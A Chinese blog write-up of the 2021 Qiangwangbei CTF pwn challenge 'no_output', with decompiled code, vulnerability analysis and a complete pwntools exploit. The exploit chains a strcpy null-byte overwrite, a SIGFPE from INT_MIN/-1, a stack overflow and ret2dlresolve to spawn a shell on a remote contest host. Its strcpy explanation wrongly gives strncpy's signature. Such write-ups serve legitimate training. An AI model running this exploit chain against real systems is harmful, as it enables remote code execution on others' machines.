PWN题[强网先锋]no_output

原创

彬彬有礼am_03 于 2021-09-02 11:15:28 发布 55 收藏
分类专栏： 2021年第五届强网杯 文章标签： c语言 c++ c#
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/am_03/article/details/120029512
版权


2021年第五届强网杯 专栏收录该内容
2 篇文章 0 订阅
订阅专栏

知识点

strcpy(dest, src)

strcpy 函数用于将指定长度的字符串复制到字符数组里
语法形式为：char *strcpy(char *dest, const char *src, int n)，
表示把src所指向的字符串里以src地址开始的前n个字节复制到dest所指的数组里，并返回被复制后的dest。
strcpy：strcpy只用于字符串复制，并且它不仅复制字符串内容之外，还会复制字符串的结束符
例：strcpy（a，b） b为源字符串，a为复制b的字符串

read(unk_804C080, src, 0x10u):

unk_804C080的值被赋值为real_flag.txt里的内容
因为
result = open(“real_flag.txt”, 1);
unk_804C080 = result;

类型sighandler_t，表示指向返回值为void型（参数为int型）的函数（的）指针。它用来声明一个或多个函数指针。
sighandler_t sig1, sig2; 这个声明等价于下面的写法：
void (*sig1)(int), (*sig2)(int);

```
if ( v1 )
{
signal(8, (__sighandler_t)sub_8049236);
v2[1] = v2[0] / (int)v1;
result = signal(8, 0);
}
```

C语言里的信号signal():

信号是程序执行过程里出现的异常情况。它可能是由程序里的错误造成的，例如引用内存里的一个非法地址；或者是由程序数据里的错误造成的，例如浮点数被0除；或者是由外部事件引发的，例如用户按了Ctrl+Break键。

signal()的原型为：

#include <signal.h>

void(*signal(int hum，void(*func)(int)))(int)；

这恐怕是你在C标准函数库里能见到的最复杂的说明了。如果你先定义一个typedef，理解起来就容易一些了。下面给出的sigHandler_t类型是指向一个程序的指针，该函数有一个int类型的参数，并且返回一个void类型：

typedef void(*sigHandler_t)(int)；

sigHandler_t signal(int num , sigHandler_t func)；

解题流程

首先先查看保护机制

在终端输入checksec ./test

```
RELRO          STACK CANARY     NX          PIE          RPATH     RUNPATH     Symbols       FORTIFY Fortified      Fortifiable  FILE
Partial RELRO  No canary found  NX enabled  No PIE       No RPATH  No RUNPATH  No Symbols     No     0               2            ./test
```

IDA32位打开：

伪码：

main：

```
int __cdecl main()
{
  sub_8049424();
  return 0;
}
```

点击sub_8049424():

```
int sub_8049424()
{
  int result; // eax
  char src[32]; // [esp+Ch] [ebp-5Ch] BYREF
  char buf[48]; // [esp+2Ch] [ebp-3Ch] BYREF
  const char *v3; // [esp+5Ch] [ebp-Ch]

  sub_804930B();
  v3 = "tell me some thing";
  read(0, buf, 0x30u);
  v3 = "Tell me your name:\n";
  read(0, src, 0x20u);
  sub_80493EC(src);
  strcpy(dest, src);
  v3 = "now give you the flag\n";
  read(unk_804C080, src, 0x10u);
  result = sub_8049385(src, off_804C034);
  if ( !result )
    result = sub_8049269();
  return result;
}
```

0x30=48

0x20=32

0x10=16

下面查看main的子程序：

（1）

```
int sub_804930B()
{
  int result; // eax

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  result = open("real_flag.txt", 1);
  unk_804C080 = result;
  return result;
}
```

result = open(“real_flag.txt”, 1); 对real_flag.txt文件只读
result被赋值为从real_flag.txt文件的内容

（2）
sub_80493EC(src);
点开sub_80493EC():

```
Elf32_Dyn **__cdecl sub_80493EC(int a1)
{
  Elf32_Dyn **result; // eax
  int i; // [esp+Ch] [ebp-4h]

  result = &off_804C000;
  for ( i = 2; i <= 7; ++i )
  {
    result = (Elf32_Dyn **)(i + a1);
    *(_BYTE *)(i + a1) = i;
  }
  return result;
}
```

（3）
sub_8049385(src, off_804C034)
src为由read(unk_804C080, src, 0x10u)获取到的flag内容
因为read(unk_804C080, src, 0x10u)将unk_804C080值读取0x10字节到src里
点开sub_8049385()

```
int __cdecl sub_8049385(int a1, int a2)
{
  int i; // [esp+Ch] [ebp-4h]

  for ( i = 0; *(_BYTE *)(i + a1) && *(_BYTE *)(i + a2); ++i )
  {
    if ( *(_BYTE *)(i + a1) != *(_BYTE *)(i + a2) )
      return 1;
  }
  return 0;
}
```

（3）
if (!result)
result = sub_8049269();
点开sub_8049269()

```
__sighandler_t sub_8049269()
{
  __sighandler_t result; // eax
  void (*v1)(int); // [esp+0h] [ebp-18h] BYREF
  int v2[2]; // [esp+4h] [ebp-14h] BYREF
  const char *v3; // [esp+Ch] [ebp-Ch]

  v3 = "give me the soul:";
  __isoc99_scanf("%d", v2);
  v3 = "give me the egg:";
  __isoc99_scanf("%d", &v1);
  result = v1;
  if ( v1 )
  {
    signal(8, (__sighandler_t)sub_8049236);
    v2[1] = v2[0] / (int)v1;
    result = signal(8, 0);
  }
  return result;
}
```

漏洞分析

```
int sub_8049424()
{
  int result; // eax
  char src[32]; // [esp+Ch] [ebp-5Ch] BYREF
  char buf[48]; // [esp+2Ch] [ebp-3Ch] BYREF
  const char *v3; // [esp+5Ch] [ebp-Ch]

  sub_804930B();
  v3 = "tell me some thing";
  read(0, buf, 0x30u);
  v3 = "Tell me your name:\n";
  read(0, src, 0x20u);
  sub_80493EC(src);
  strcpy(dest, src);
  v3 = "now give you the flag\n";
  read(unk_804C080, src, 0x10u);
  result = sub_8049385(src, off_804C034);
  if ( !result )
    result = sub_8049269();
  return result;
}
```

在这里，标准输入会跟打开的文件里面的字符串进行比较，比较成功才会进入下一步

```
.data:0804C028                  align 10h
.data:0804C030                  dd offset aYouSeeThis   ; "you_see_this"
.data:0804C034 off_804C034      dd offset aHelloBoy     ; DATA XREF: sub_8049424+A4↑r
.data:0804C034 _data            ends                    ; "hello_boy"
```

```
.rodata:0804A008 aYouSeeThis    db 'you_see_this',0     ; DATA XREF: .data:0804C030↓o
.rodata:0804A015 aHelloBoy      db 'hello_boy',0        ; DATA XREF: .data:off_804C034↓o
.rodata:0804A01F                align 10h
```

但是我们发现上面用了一个strcpy函数，strcpy存在单字节的溢出，这个函数会用'\x00'结尾，我们可以在上面让dest的后面一个字节为'\x00'，以覆盖fd，改为0后可以直接从stdin读入内容，从而通过strcmp的检测。

```
__sighandler_t sub_8049269()
{
  __sighandler_t result; // eax
  void (*v1)(int); // [esp+0h] [ebp-18h] BYRE
  int v2[2]; // [esp+4h] [ebp-14h] BYREF
  const char *v3; // [esp+Ch] [ebp-Ch]

  v3 = "give me the soul:";
  __isoc99_scanf("%d", v2);
  v3 = "give me the egg:";
  __isoc99_scanf("%d", &v1);
  result = v1;
  if ( v1 )
  {
    signal(8, (__sighandler_t)sub_8049236);
    v2[1] = v2[0] / (int)v1;
    result = signal(8, 0);
  }
  return result;
```

CSDN @彬彬有礼am_03

绕开比较进入函数之后是一个signal，必须触发这个signal 8号信号才能进入最后的函数。

signal8是浮点例外。在发生致命的算术运算错误时发出. 不仅包括浮点运算错误, 还包括溢出及除数为0等其它所有的算术的错误。

解决方案

不能除0，就构造溢出。

需要触发算数异常SIGFPE，可以通过-0x80000000/-1触发，触发后可以直接执行一个栈溢出；由于程序里没有输出函数，无法leak函数，所以使用ret2dlresolve方法直接getshell

```
ssize_t sub_8049236()
{
  char buf[68]; // [esp+0h] [ebp-48h] BYREF

  return read(0, buf, 0x100u);
}
```

exp

```
from pwn import *
from roputils import *
import time

rop = ROP('./test')
#p = process('./test')
p = remote("39.105.138.97",1234)
context.log_level='debug'

p.send(p32(0))
sleep(1)
p.send("a"*32)
sleep(1)
p.send('hello_boy')
sleep(1)
p.send(str(int(-2147483648)))
sleep(1)
p.send(str(int(-1)))
sleep(1)

offset = 77
bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
p.send(buf)

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
p.send(buf)

p.interactive()
```

flag值为:qwb{n0_1nput_1s_great!!!}